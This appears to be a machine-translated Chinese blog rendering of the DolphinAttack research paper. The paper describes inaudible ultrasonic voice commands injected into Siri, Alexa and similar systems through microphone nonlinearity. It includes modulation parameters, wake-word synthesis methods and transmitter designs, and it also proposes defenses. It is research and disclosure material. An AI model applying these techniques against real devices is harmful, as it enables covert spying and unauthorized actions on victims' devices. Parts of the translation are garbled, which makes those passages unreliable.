<content > <![CDATA[<h1 id="海豚音攻击"> <a href= "#海豚音攻击" class= "headerlink" title= "海豚音攻击" > </a> 海豚音攻击</h1> <p > <a href= "https://acmccs.github.io/papers/p103-zhangAemb.pdf" target= "_blank" rel= "noopener" > https://acmccs.github.io/papers/p103-zhangAemb.pdf</a> <br > <a href= "https://github.com/USSLab/DolphinAttack" target= "_blank" rel= "noopener" > https://github.com/USSLab/DolphinAttack</a> <br > <a href= "https://zhuanlan.zhihu.com/p/29306026" target= "_blank" rel= "noopener" > https://zhuanlan.zhihu.com/p/29306026</a> </p>
<h2 id= "Abstract" > <a href= "#Abstract" class= "headerlink" title= "Abstract" > </a> Abstract</h2> <p > 诸如Siri或Google Now之类的语音识别( SR) 系统已经成为一种越来越流行的人机交互方法, 并将各种系统转变为语音可控系统( VCS) 。先前对VCS进行攻击的工作表明, 人们无法理解的隐藏语音命令可以控制系统。隐藏的语音命令尽管是“隐藏的”, 但还是可以听到的。在这项工作中, 我们设计了一个完全听不见的攻击DolphinAttack, 它可以调制超声载波上的语音命令( 例如f> 20 kHz) , 以实现听不清。通过利用麦克风电路的非线性特性, 语音识别系统可以成功地解调, 恢复调制的低频音频命令, 并对其进行更重要的解释。我们在流行的语音识别系统上验证了DolphinAttack, 包括Siri, Google Now, 三星S Voice, 华为HiVoice, Cortana和Alexa。通过注入一系列听不见的语音命令, 我们展示了一些概念验证攻击, 包括激活Siri以在iPhone上发起FaceTime通话, 激活Google Now以将手机切换为飞行模式, 甚至操纵导航系统在奥迪汽车上。我们提出了硬件和软件防御解决方案。我们验证通过使用支持向量机( SVM) 对音频进行分类来检测DolphinAttack是可行的, 并建议重新设计语音可控系统, 以应对听不见的语音命令攻击。</p>
<p > 关键字: 语音可控系统, 语音识别, MEMS麦克风, 安全分析, 防御</p>
<h2 id= "1-Introduction" > <a href= "#1-Introduction" class= "headerlink" title= "1 Introduction" > </a> 1 Introduction</h2> <p > 语音识别( SR) 技术允许机器或程序识别口语单词并将其转换为机器可读格式。 由于它的可访问性,效率以及最近在识别精度方面的进步,它已成为越来越流行的人机交互机制。 结果, 语音识别系统已将各种各样的系统变成语音可控系统( VCS) : Apple Siri [5]和Google Now [21]允许用户通过语音发起电话呼叫; Alexa [4]已使用户能够指示Amazon Echo订购外卖, 安排Uber骑行等。随着研究人员将大量精力投入到改善SR系统的性能上, 人们对语音识别和语音的了解程度却鲜为人知。 可控系统在故意和偷偷摸摸的攻击下表现良好。<br > 先前的工作[10、61]已经表明, SR系统可以理解人类难以理解的混淆语音命令, 因此可以控制系统而不会被检测到。 这些语音命令虽然是“隐藏的”,但仍然可以听见并且仍然很明显。 本文旨在研究难以检测到的攻击的可行性,并且本文受到以下关键问题的驱动:语音命令是否可以被人听不见,而仍然可以被设备听见,并且可以被语音识别系统理解? 注入一系列听不见的语音命令是否会导致语音可控系统出现未注意到的安全漏洞? 为了回答这些问题, 我们设计了DolphinAttack, 这是一种通过利用超声通道( 即f> 20 kHz) 和基础音频硬件的漏洞在VCS处注入听不见的语音命令的方法。<br > 由于以下疑问,听不见的语音命令似乎不可行。<br > ( a) 设备如何听到听不到的声音? 人类声音和听力的上限频率为20 kHz。因此, 大多数具有音频功能的设备( 例如电话) 采用低于44 kHz的音频采样率, 并应用低通滤波器来消除高于20 kHz的信号[32]。先前的工作[61]认为不可能接收20 kHz以上的声音。<br > ( b) SR系统如何理解听不见的声音? 即使超声被硬件接收并正确采样, SR系统也不会识别与人的音调特征不匹配的信号, 因此无法解释命令。<br > ( c) 听不见的声音如何导致VCS发生未注意到的安全漏洞? 控制VCS的第一步是激活它们。许多VCS( 例如, 智能手机和智能家居设备) 实现了始终在线功能, 该功能可通过依赖于说话者的唤醒词来激活它们, 即, 此类系统利用语音识别来认证用户。随机语音命令不会通过语音识别。<br > 我们解决了所有这些问题, 并且我们证明了DolphinAttack语音命令虽然完全听不见, 因此对于人类来说是听不见的, 但是它们可以被设备的音频硬件接收, 并且可以被语音识别系统正确理解。我们在主要的语音识别系统上验证了DolphinAttack, 包括Siri, Google Now, 三星S Voice [43], 华为HiVoice [65], Cortana [37]和Alexa。<br > 无法听见的语音命令质疑通用设计假设, 即对手最多只能尝试以语音方式操纵VCS, 并且可以被警报用户检测到。 此外, 我们通过询问以下内容来表征这种假设的安全后果: 一系列听不见的语音命令可以在多大程度上危害VCS的安全性。 为了说明这一点, 我们展示了DolphinAttack可以完全通过一系列听不见的语音命令来实现以下偷偷摸摸的攻击: <br > ( 1) 访问恶意网站。 该设备可以打开一个恶意网站, 该网站可以发起按下载驱动器攻击或利用具有0天漏洞的设备。<br > ( 2) 间谍。 攻击者可以使受害设备发起视频/电话呼叫,因此可以访问设备周围的图像/声音。<br > ( 3) 注入虚假信息。 攻击者可以指示受害设备发送虚假的文本消息和电子邮件,发布虚假的在线帖子,向日历中添加虚假的事件等。<br > ( 4) 拒绝服务。 对手可能会注入命令以开启飞行模式,从而断开所有无线通信。<br > ( 5) 隐藏攻击。 屏幕显示和语音反馈可能会暴露攻击。 对手可以通过调暗屏幕和降低音量来降低<E9998D>
<h2 id= "2-背景和威胁模型" > <a href= "#2-背景和威胁模型" class= "headerlink" title= "2 背景和威胁模型" > </a> 2 背景和威胁模型</h2> <p > 在本节中, 我们介绍流行的语音可控系统, 并以MEMS麦克风为重点讨论它们的体系结构。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_23.png" a l t > </p>
<h3 id= "2-1-语音可控系统VCS" > <a href= "#2-1-语音可控系统VCS" class= "headerlink" title= "2.1 语音可控系统VCS" > </a> 2.1 语音可控系统VCS</h3> <p > 一个典型的语音可控系统由三个主要子系统组成: 语音捕获, 语音识别和命令执行, 如图1所示。语音捕获子系统记录环境语音, 这些环境语音在被传递到 语音识别子系统之前被放大,过滤和数字化。然后,首先对原始捕获的数字信号进行预处理,以去除超出声音范围的频率,并丢弃包含声音太弱而无法识别的信号段。 接下来,处理后的信号进入语音识别系统。<br > 通常, 语音识别系统在两个阶段工作: 激活和识别。在激活阶段, 系统无法接受任意语音输入, 但会等待激活。要激活系统, 用户必须说出预定义的唤醒词或按特殊键。例如, Amazon echo将“ Alexa”作为激活唤醒词。按住主屏幕按钮约一秒钟可以激活Apple Siri, 如果启用了“ Allow Hey Siri”功能, 则可以通过“ Hey Siri”激活。要识别唤醒词, 麦克风会继续录制环境声音, 直到发出声音为止。然后, 系统将使用与说话者无关或与说话者无关的语音识别算法来识别语音。例如, 只要声音清晰且响亮, Amazon Echo就会采用与说话者无关的算法, 并接受任何人说的“ Alexa”。相比之下, Apple Siri取决于扬声器。 Siri需要接受用户培训, 并且仅接受同一个人的“ Hey Siri”。激活后, SR系统将进入识别阶段, 通常将使用与说话者无关的算法将语音转换为文本, 即本例中的命令。<br > 请注意, 与说话者相关的SR通常在本地执行, 与说话者无关的SR通过云服务执行[28]。 要使用云服务, 已处理的信号将发送到服务器, 服务器将提取特征( 通常为Mel频率倒谱系数[10、27、62])并通过机器学习算法(例如,隐马尔可夫模型或神经网络)识别命令 网络)。 最后,命令被发回。<br > 给定已识别的命令,命令执行系统将启动相应的应用程序或执行操作。 可接受的命令和相应的动作取决于系统,并且是预先定义的。 流行的语音可控系统包括智能手机,可穿戴设备,智能家居设备和汽车。 智能手机允许用户通过语音命令执行广泛的操作,例如拨打电话号码,发送短信,打开网页,将手机设置为飞行模式等。现代汽车接受一系列精心设计的语音命令来激活 并控制一些车载功能, 例如GPS, 娱乐系统, 环境控制和手机。 例如, 如果识别出“呼叫1234567890”, 则汽车或智能手机可能会开始拨打电话号码1234567890<br > 关于语音可控系统的许多安全性研究都集中于攻击语音识别算法[10]或命令执行环境(例如恶意软件)。 本文针对语音捕获子系统,将在下一部分中对其进行详细介绍。</p>
<h3 id= "2-2-麦克风" > <a href= "#2-2-麦克风" class= "headerlink" title= "2.2 麦克风" > </a> 2.2 麦克风</h3> <p > 语音捕获子系统记录可听见的声音, 并且主要是麦克风, 其是将空气传播的声波( 即声音) 转换为电信号的换能器。最古老和最受欢迎的麦克风之一是电容式麦克风, 它通过容量变化将声波转换为电信号。驻极体电容式麦克风( ECM) 和微机电系统( MEMS) [2、3、29、52、53]版本都可以在市场上购买。由于微型封装尺寸和低功耗, MEMS麦克风主导了语音可控设备, 包括智能手机, 可穿戴设备。因此, 本文主要关注MEMS麦克风, 并将简要报告有关ECM的结果。不过, MEMS和ECM的工作原理相似。如图2( b) 所示, MEMS麦克风包含薄膜( 可移动板) 和互补的带孔背板( 固定板) [54]。在存在声波的情况下,由声波引起的气压穿过背板上的孔并到达隔膜,该隔膜是一种薄的固体结构,可响应气压的变化而弯曲[64]。这种机械变形导致电容变化。由于电容器上保持几乎恒定的电荷, 因此电容变化将产生交流信号。这样, 气压被转换成电信号以进行进一步处理。类似地, 如图2( a) 所示, ECM麦克风利用由柔性膜和固定板形成的电容来记录声波。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_24.png" a l t > <br > 语音捕获子系统中的麦克风, 低通滤波器( LPF) 和ADC旨在捕获可听声音, 所有这些功能都旨在抑制超出可听声音频率范围( 即20 Hz至20 kHz) 的信号。 根据数据表, 麦克风的灵敏度频谱在20 Hz至20 kHz之间, 理想情况下, 应过滤任何其他频率范围内的信号。 即使麦克风记录了高于20 kHz的信号, LPF也应将其删除。 最后, ADC的采样率通常为44.1 kHz, 根据奈奎斯特采样定理, 数字化信号的频率被限制在22 kHz以下。</p>
<h3 id= "2-3-威胁模型" > <a href= "#2-3-威胁模型" class= "headerlink" title= "2.3 威胁模型" > </a> 2.3 威胁模型</h3> <p > 攻击者的目标是在用户不知情的情况下将语音命令注入到语音可控系统中,并执行未经身份验证的操作。我们假设对手无法直接访问目标设备,拥有自己的传输声音信号的设备,并且无法要求所有者执行任何任务。</p>
<ul >
<li > 没有目标设备访问权限。我们假设对手可以针对她选择的任何语音可控系统,但她无法直接访问目标设备。她无法实际触摸它们,更改设备设置或安装恶意软件。但是,我们假设她完全了解目标设备的特性。可以通过首先获取设备模型,然后在发起攻击之前分析相同模型的设备来获得此类知识。</li>
<li > 没有所有者交互。我们假设目标设备可能在所有者附近, 但可能没有在使用中并且不引起注意( 例如, 在桌子的另一侧, 屏幕遮盖的地方或放在口袋中) 。此外, 设备可能无人看管, 这可能在所有者暂时不在时( 例如, 将Amazon Echo留在房间中) 发生。或者, 设备可能被盗, 对手可能会尝试各种可能的方法来解锁屏幕。但是, 对手不能要求所有者执行任何操作, 例如按下按钮或解锁屏幕。</li>
<li > 听不见。由于对手的目标是在不被检测到的情况下注入语音命令, 因此她将使用人类听不到的声音, 即超声波( f> 20 kHz) 。请注意, 我们没有使用高频声音( 18 kHz < f < 20 kHz) , 因为它们仍然可以被孩子听到。</li>
<li > 攻击装备。我们假设对手既可以获取用于发射超声波的扬声器,也可以获取用于播放声音的商品设备。攻击者在目标设备附近。例如,她可能会在受害人的桌子或家附近秘密地留下一个可远程控制的扬声器。或者,她可能在受害者走动时携带便携式扬声器。</li>
</ul>
<h2 id= "3-可行性分析" > <a href= "#3-可行性分析" class= "headerlink" title= "3 可行性分析" > </a> 3 可行性分析</h2> <p > DolphinAttack的基本思想是( a) 在空中传输之前在超声载波上调制低频语音信号( 即基带) , 以及( b) 在接收器处用语音捕获硬件对调制后的语音信号进行解调。由于我们无法控制语音捕获硬件, 因此我们必须以一种可以使用语音捕获硬件将其解调为基带信号的方式来调制信号。假设麦克风模块始终利用LPF抑制不想要的高频信号, 则解调应在LPF之前完成。<br > 由于语音捕获硬件的信号路径从麦克风, 一个或多个放大器LPF到ADC开始, 因此解调的潜在组件是麦克风和放大器。我们研究了完成DolphinAttack的原理。尽管诸如放大器之类的电子组件被设计为线性的, 但实际上它们表现出非线性。利用这种非线性特性, 电子元件能够创建新的频率[25]。尽管已经报道并利用了放大器模块的非线性, 但包括ECM麦克风和MEMS麦克风在内的麦克风是否具有这种特性仍是未知的。<br > 为了进行研究,我们首先在理论上对麦克风模块的非线性建模,然后显示非线性对实际麦克风模块的影响。</p>
<h3 id= "3-1非线性效应建模" > <a href= "#3-1非线性效应建模" class= "headerlink" title= "3.1非线性效应建模" > </a> 3.1非线性效应建模</h3> <p > 麦克风将机械声波转换为电信号。 从本质上讲,麦克风可以粗略地视为在输入/输出信号传输特性中具有平方律非线性的组件[1、13]。 众所周知,放大器具有非线性特性,可以产生低频范围内的解调信号[20]。 在本文中,我们研究了麦克风的非线性,可以将其建模如下。 假设输入信号为sin( t) , 输出信号sout( t) 为: </p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610080973/Dolphin%20Attack/image_25.png" a l t > <br > 其中A是输入信号的增益, B是二次项s2 in的增益。线性分量采用频率为f的正弦输入信号, 并输出具有相同频率f的正弦信号。 相比之下, 电气设备的非线性会产生谐波和叉积2。尽管通常将它们视为不希望的失真[31],但具有非线性的设备能够生成新的频率,并且通过精心设计的输入信号,它们可以将信号下变频为 以及恢复基带信号。<br > 假设所需的语音控制信号为m( t) , 我们选择中心频率为fc的载波上的调制信号为</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610080973/Dolphin%20Attack/image_26.png" a l t > <br > 即,使用幅度调制。 不失一般性, 设m( t) 为简单基调, 即m( t) = cos( 2πfmt) 。 应用等式后。 ( 2) 至 ( 1) 并进行傅立叶变换, 我们可以确认输出信号包含预期的频率分量fm以及sin的基本频率分量( 即fc-fm, fc + fm和fc) , 谐波和其他交叉 乘积( 即fm, 2( fc-fm) , 2( fc + fm) , 2fc, 2fc + fm和2fc-fm) 。 经过LPF后, 所有高频成分将被删除, 而fm频率成分将保留下来, 从而完成了下变频, 如图3所示。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_271.png" a l t > </p>
<h3 id= "3-2-非线性效应评估" > <a href= "#3-2-非线性效应评估" class= "headerlink" title= "3.2 非线性效应评估" > </a> 3.2 非线性效应评估</h3> <p > 考虑到麦克风模块非线性效应的理论计算及其对调制后输入信号的影响, 在本节中, 我们将验证对真实麦克风的非线性效应。我们测试两种类型的麦克风: ECM和MEMS麦克风。</p>
<h4 id= "3-2-1-实验设置" > <a href= "#3-2-1-实验设置" class= "headerlink" title= "3.2.1 实验设置" > </a> 3.2.1 实验设置</h4> <p > 实验设置如图5所示。我们使用iPhone SE智能手机生成2 kHz语音控制信号, 即基带信号。然后将基带信号输入到矢量信号发生器[57], 该信号发生器将基带信号调制到载波上。经功率放大器放大后, 调制信号由高质量的全频带超声扬声器Vifa传输[9]。请注意, 我们选择的载波范围为9 kHz至20 kHz, 因为信号发生器无法生成低于9 kHz频率的信号。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_281.png" a l t > 在接收器端, 我们测试了从耳机中提取的ECM麦克风和ADMP401 MEMS麦克风[16]。如图5所示, ADMP401麦克风模块包含一个前置放大器。为了了解麦克风的特性, 我们测量了麦克风而不是前置放大器输出的信号。</p>
<h4 id= "3-2-2-结果" > <a href= "#3-2-2-结果" class= "headerlink" title= "3.2.2 结果" > </a> 3.2.2 结果</h4> <p > 我们使用两种信号来研究非线性:单音和多音语音。<br > 单音: 图4显示了当我们使用20 kHz载波时的结果, 这证实了麦克风的非线性有助于解调基带信号。前两个图显示了来自扬声器的原始信号的时域和频域, 从而很好地显示了载波频率( 20 kHz) 和上边带以及下边带( 20±2 kHz) 。第二行中的两个图显示了来自MEMS麦克风的输出信号, 下面两个图显示了来自ECM麦克风的输出信号。即使信号被衰减, 尤其是对于ECM麦克风, 两个麦克风在频域中的基带( 2 kHz) 仍能证实解调成功。请注意, 频域图包含多个高频谐波, 这些谐波将被LPF过滤, 并且不会影响语音识别。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_27.png" a l t > <br > 声音: 尽管我们可以成功地解调出信号音,但语音是各种频率下无数音调的混合,并且未知解调后的语音信号是否仍与原始信号相似。因此,我们计算了三个“ Hey”声音片段中的Mel频率倒谱系数( MFCC) , 这是声音使用最广泛的功能之一: ( a) 由文本语音转换( TTS) 引擎生成的原始语音, ( b) 三星Galaxy S6 Edge以iPhone 6 plus录制的语音播放了原始TTS语音, 以及( c) 三星S6 Edge以TTS语音调制的语音由全频带超声扬声器调制和播放Vifa [9]。如图6所示, 这三种情况的MFCC都是相似的。为了量化相似度, 我们计算了原始和记录之间的梅尔倒谱失真( MCD) , 情况( b) 为3.1, 情况( c) 为7.6。 MCD量化两个MFCC之间的失真, 数值越小越好。通常, 如果两个语音的MCD值小于8 [23], 则认为它们可以被语音识别系统接受, 因此结果鼓励我们对DolphinAttack针对语音可控系统进行进一步的研究。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_28.png" a l t > </p>
<h2 id= "4-攻击设计" > <a href= "#4-攻击设计" class= "headerlink" title= "4 攻击设计" > </a> 4 攻击设计</h2> <p > DolphinAttack利用听不见的语音注入来静默控制VCS。由于攻击者几乎无法控制VCS, 因此成功进行攻击的关键是在攻击发送方生成听不见的语音命令。特别是, DolphinAttack必须为VCS的激活和识别阶段生成语音命令的基带信号, 对基带信号进行调制, 以便可以在VCS上对其进行有效解调, 并设计一种可以在任何地方启动DolphinAttack的便携式发射机。 DolphinAttack的基本构建模块如图7所示, 我们将在以下小节中讨论这些细节。在不失一般性的前提下, 我们通过使用Siri作为案例研究来讨论设计细节, 并且该技术可以轻松地应用于其他SR系统( 例如Google Now, HiVoice) 。</p>
<h3 id= "4-1-语音命令生成" > <a href= "#4-1-语音命令生成" class= "headerlink" title= "4.1 语音命令生成" > </a> 4.1 语音命令生成</h3> <p > Siri的工作分为两个阶段: 激活和识别。它在接受语音命令之前需要激活, 因此我们生成两种类型的语音命令: 激活命令和常规控制命令。为了控制VCS, DolphinAttack必须在注入常规控制命令之前生成激活命令。</p>
<h4 id= "4-1-1-激活命令生成" > <a href= "#4-1-1-激活命令生成" class= "headerlink" title= "4.1.1 激活命令生成" > </a> 4.1.1 激活命令生成</h4> <p > 成功的激活命令必须满足两个要求: ( a) 包含唤醒词“ Hey Siri”, 以及( b) 调成接受Siri训练的用户的特定语音。创建具有这两个要求的激活命令具有挑战性, 除非攻击者在附近并设法创建清晰的记录时用户碰巧说“ Hey Siri”。实际上, 攻击者最多可以偶然记录任意单词。如果可能的话, 使用现有的语音合成技术[38]和从录音中提取的特征来生成特定语音的“嘿Siri”是极其不同的, 因为目前尚不清楚Siri使用哪些特征集进行语音识别。因此, 我们设计了两种方法来分别针对两种情况生成激活命令: ( a) 攻击者找不到Siri的所有者( 例如, 攻击者获得了被盗的智能手机) , 以及( b) 攻击者可以获得一些录音主人的声音。<br > ( 1) 基于TTS的蛮力。 TTS技术的最新进展使将文本转换为语音变得容易。 因此, 即使攻击者没有机会从用户那里获得任何语音记录, 攻击者也可以通过TTS( 文本到语音) 系统生成一组包含唤醒词的激活命令。 观察到的启发是, 具有相似声调的两个用户可以激活另一个人的Siri。 因此, 只要集合中的激活命令之一具有与所有者足够接近的声音, 就足以激活Siri。 在DolphinAttack中, 我们借助现有的TTS系统( 如表1所示) 准备了一组具有各种音调和音色的激活命令, 其中包括Selvy Speech, Baidu, Google等。总共, 我们获得了90种类型的TTS 声音。 我们选择Google TTS语音来训练Siri, 其余的用于攻击</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_29.png" a l t > <br > ( 2) 级联综合。当攻击者可以录制来自Siri所有者的几个单词但不是必需的“嘿Siri”时, 我们建议通过从可用录制中的其他单词中搜索相关的音素来合成所需的语音命令。英文大约有44个音素, 而唤醒字“嘿Siri”使用6个音素( 即HH, EY, S, IH, R, IY) 。许多单词的发音与“ Hey”或“ Si”或“ ri”相同, 可以将它们拼接在一起。例如, 我们可以将“ he”和“ cake”连接起来以获得“ Hey”。同样, “ Siri”可以是“城市”和“携带”的组合。如图8所示, 我们首先在记录的句子中搜索单个或组合的音素, 然后如果找到匹配项, 则提取感兴趣的片段。最后, 将匹配的音素组合在一起。为了评估该方案的可行性, 我们进行了以下实验。我们使用Google TTS生成用于训练SR系统的“ Hey Siri”, 并生成两组候选语音以合成“ Hey Siri”: 1.“ he”, “ cake”, “ city”, “ carry”; 2.“he is a boy”, “eat a cake”, “in the city”, “read after me”。合成激活命令后, 我们使用如图5所示的相同实验设置在iPhone 4S上对其进行测试。两个合成的“ Hey Siri”都可以成功激活Siri。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_30.png" a l t > </p>
<h4 id= "4-1-2-通用控制命令生成" > <a href= "#4-1-2-通用控制命令生成" class= "headerlink" title= "4.1.2 通用控制命令生成" > </a> 4.1.2 通用控制命令生成</h4> <p > 常规控制命令可以是启动应用程序( 例如, “拨打911”, “打开<a href= "http://www.google.com”) 或配置设备( 例如, “开启飞行模式”) 的任何命令。与激活命令不同, SR系统不会验证控制命令的身份。因此, 攻击者可以选择任何控制命令的文本, 并利用TTS系统生成命令。" target= "_blank" rel= "noopener" > www.google.com”) 或配置设备( 例如, “开启飞行模式”) 的任何命令。与激活命令不同, SR系统不会验证控制命令的身份。因此, 攻击者可以选择任何控制命令的文本, 并利用TTS系统生成命令。</a> </p>
<h4 id= "4-1-3-评估" > <a href= "#4-1-3-评估" class= "headerlink" title= "4.1.3 评估" > </a> 4.1.3 评估</h4> <p > 我们测试激活和控制命令。在不失一般性的前提下, 我们通过利用Tab中总结的TTS系统生成激活和控制命令。 1.特别是, 我们从这些TTS系统的网站上下载了两个语音命令: “ Hey Siri”和“ call 1234567890”。对于激活, 我们使用Google TTS系统中的“ Hey Siri”来训练Siri, 其余的用于测试。我们通过iPhone 6 Plus和台式设备播放语音命令( 如图5所示) , 并在iPhone 4S上进行测试。选项卡中汇总了这两个命令的激活和识别结果。结果表明, SR系统可以识别来自任何TTS系统的控制命令。在89种类型的激活命令中, 有35种可以激活Siri, 成功率为39% 。</p>
<h3 id= "4-2-语音命令调制" > <a href= "#4-2-语音命令调制" class= "headerlink" title= "4.2 语音命令调制" > </a> 4.2 语音命令调制</h3> <p > 生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性, DolphinAttack必须利用幅度调制( AM) 。</p>
<h4 id= "4-2-1-AM调制参数" > <a href= "#4-2-1-AM调制参数" class= "headerlink" title= "4.2.1 AM调制参数" > </a> 4.2.1 AM调制参数</h4> <p > 在AM中, 载波的幅度与基带信号成比例地变化, 并且幅度调制产生一个信号, 其功率集中在载波频率和两个相邻的边带上, 如图9所示。 描述如何在DolphinAttack中选择AM参数。<br > ( 1) 深度: 调制深度m定义为m = M / A, 其中A是载波幅度, M是调制幅度, 即, M是幅度从其未调制值起的峰值变化。 例如, 如果m = 0.5, 则载波幅度在其未调制电平之上( 或之下) 变化50% 。 调制深度与麦克风非线性效应的利用直接相关, 我们的实验表明, 调制深度与硬件有关( 在第5节中有详细介绍) 。<br > ( 2) 载波频率。载波频率的选择取决于几个因素: 超声波的频率范围, 基带信号的带宽, 低通滤波器的截止频率以及VCS上麦克风的频率响应以及频率攻击者的回应。调制信号的最低频率应大于20 kHz, 以确保听不见。假设语音命令的频率范围为w, 则载波频率fc必须满足fc-w> 20 kHz的条件。例如, 假设基带的带宽为6 kHz, 则载波频率必须大于26 kHz, 以确保最低频率大于20 kHz。人们可能会考虑使用20 kHz以下的载波, 因为这些频率对于大多数人来说是听不到的, 除了小孩。但是, 这样的载波( 例如, < 20kHz) 将无效。这是因为, 当载波频率和下边带低于低通滤波器的截止频率时, 它们将不会被滤波。因此, 恢复的语音不同于原始信号, 并且语音识别系统将无法识别命令。 类似于许多电子设备, 麦克风是频率选择性的, 例如, 各种频率下的增益会变化。为了提高效率, 载波频率应是扬声器和VCS麦克风上增益最高的乘积。为了发现最佳载波频率, 我们测量扬声器和麦克风的频率响应, 即, 在相同的激励下, 我们测量各种频率下的输出幅度。图10显示了Samsung Galaxy S6 Edge 3上的ADMP 401 MEMS麦克风和扬声器的频率响应。麦克风和扬声器的增益不一定随频率的增加而降低, 因此有效载波频率可能不会单调。<br > ( 3) 语音选择。 各种声音映射到各种基带频率范围。 例如, 女性语音通常具有比男性语音更宽的频带, 这导致在可听频率范围内频率泄漏的可能性更大, 即, 调制信号的最低频率可以小于20kHz。 因此,如果可能,应选择带宽较小的语音以创建基带语音信号<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_31.png" a l t > </p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_32.png" a l t > </p>
<h3 id= "4-3-语音命令发送器" > <a href= "#4-3-语音命令发送器" class= "headerlink" title= "4.3 语音命令发送器" > </a> 4.3 语音命令发送器</h3> <p > 我们设计了两个发射器: ( a) 由专用信号发生器驱动的强大发射器( 如图5所示) , 以及( b) 由智能手机驱动的便携式发射器( 如图11所示) 。 我们利用第一个来验证和量化DolphinAttack可以完成各种听不见的语音命令的程度, 而我们使用第二个来验证步行攻击的可行性。 这两个发射机均由三个组件组成:信号源,调制器和扬声器。 信号源产生原始语音命令的基带信号, 并输出到调制器, 该调制器以幅度调制( AM) 的形式将语音信号调制到频率为fc的载波上。 最后, 扬声器将调制后的信号转换成声波, 并请注意扬声器的采样率必须大于2( fc + w) , 以避免信号混叠。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_33.png" a l t > </p>
<h4 id= "4-3-1-具有信号发生器的强大变送器" > <a href= "#4-3-1-具有信号发生器的强大变送器" class= "headerlink" title= "4.3.1 具有信号发生器的强大变送器" > </a> 4.3.1 具有信号发生器的强大变送器</h4> <p > 我们将智能手机用作信号源, 并将图5中描述的矢量信号发生器用作调制器。请注意, 信号发生器的采样范围为300 MHz, 远大于超声频率, 并且可以使用预定义的参数调制信号。功能强大的发射器的扬声器是名为Vifa [9]的宽带动态超声扬声器。</p>
<h4 id= "4-3-2-带有智能手机的便携式变送器" > <a href= "#4-3-2-带有智能手机的便携式变送器" class= "headerlink" title= "4.3.2 带有智能手机的便携式变送器" > </a> 4.3.2 带有智能手机的便携式变送器</h4> <p > 便携式发射器利用智能手机来发射调制信号。因为我们发现许多设备的最佳载波频率都大于24 kHz, 如表3所示。 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率, 并且只能发送载波频率最高为24 kHz的调制窄带信号。为了构建适用于各种VCS的便携式发射器, 我们购买了三星Galaxy S6 Edge, 它支持高达192 kHz的采样率。不幸的是, 三星Galaxy S6的车载扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题, 我们使用窄带超声换能器[56]作为扬声器, 并在超声换能器之前添加了一个放大器, 如图11所示。这样, 有效的攻击范围得以扩展。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_34.png" a l t > </p>
<h2 id= "5-VCS的可行性实验" > <a href= "#5-VCS的可行性实验" class= "headerlink" title= "5 VCS的可行性实验" > </a> 5 VCS的可行性实验</h2> <p > 我们在16种流行的语音可控系统和7种语音识别系统上通过实验验证了DolphinAttack, 并寻求以下三个问题的答案: ( a) 攻击是否会针对各种操作系统和硬件平台上的不同语音识别系统起作用? ( b) 不同的软件和硬件如何影响攻击的性能? ( c) 成功实施攻击的关键参数是什么? 本部分详细介绍了实验设计,设置和结果。</p>
<h3 id= "5-1-系统选择" > <a href= "#5-1-系统选择" class= "headerlink" title= "5.1 系统选择" > </a> 5.1 系统选择</h3> <p > 我们检查了针对各种先进的语音识别系统和现成的VCS的DolphinAttack攻击, 这些攻击已在Tab 3.中列出。 该列表并非旨在详尽无遗, 而是提供了一组具有代表性的VCS, 可以尽我们最大的努力进行实验。<br > 我们选择目标系统的方法是双重的-软件和硬件。首先, 我们选择可公开使用的主要语音识别系统, 例如Siri, Google Now, Alexa, Cortana等。与普通软件不同, SR系统( 尤其是专有系统) 高度依赖硬件和操作系统。例如, 只能在Apple产品上找到和使用Siri。 Alexa仅限于Amazon设备; Cortana仅在Windows计算机上运行。尽管如此, 我们还是选择了与SR系统兼容的硬件并进行了实验。为了探究硬件对攻击性能的影响, 我们检查了运行同一SR系统的不同硬件模型( 例如, 各代iPhone上的Siri) 受到的攻击。<br > 总而言之, 我们选择在活跃用户的消费市场上流行的VCS和SR系统, 并涵盖各种应用领域和使用场景。在标签页中。参见Tab 3., 我们总结了用于实验的所选VCS, 可以将其分为三类-个人设备(可穿戴设备,智能手机,平板电脑,计算机),智能家居设备和车辆。</p>
<h3 id= "5-2-实验设置" > <a href= "#5-2-实验设置" class= "headerlink" title= "5.2 实验设置" > </a> 5.2 实验设置</h3> <p > 我们使用相同的实验设置和设备测试对所选语音可控系统和语音识别系统的攻击,并在注入具有三个目标的不可听的语音命令时报告其行为:</p>
<ul >
<li > 检查攻击的可行性。</li>
<li > 量化参数以调整成功的攻击。</li>
<li > 测量攻击性能。</li>
</ul>
<p > 设备: 除非另有说明, 否则所有实验均使用默认的实验设备: 如图5所示的功能强大的发射器, 其中包括智能手机作为信号源, 信号发生器作为调制器以及名为Vifa的宽带动态超声扬声器[9]。 作为扬声器播放听不见的语音命令。 由于功能强大的发射器能够以多种载波( 从9 kHz到50 kHz) 发射信号, 因此我们将其用于可行性研究。 相比之下,便携式发射机使用窄带扬声器,其传输频率受到可用的窄带扬声器的限制。 在我们的情况下, 我们的便携式发射机可以以23 kHz, 25 kHz, 33 kHz, 40 kHz和48 kHz的频率发送信号。</p>
